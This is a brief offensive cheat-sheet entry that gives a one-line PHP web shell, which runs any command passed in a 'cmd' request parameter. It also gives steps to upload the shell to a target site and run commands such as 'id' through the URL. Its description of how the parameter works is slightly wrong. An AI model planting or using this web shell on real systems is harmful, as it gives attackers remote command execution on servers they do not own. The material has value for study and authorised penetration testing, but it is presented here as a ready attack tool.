PHP WEB SHELL
root@oco:~$ nano phpShell.php
<?php system($_REQUEST['cmd']); ?>
* this uses the system() function to execute system cmds and prints their output
- it then passes the output to the cmd parameter with $_REQUEST['cmd']
root@oco:~$ BROWSER > {targetSite:port} > upload
#usage
root@oco:~$ BROWSER > {targetSite:port}/uploads/shell.php?cmd=id
* try using the source code view [CTRL+U] when executing these
* the source-view shows the command output as it would be shown in the terminal, without any HTML rendering
Last updated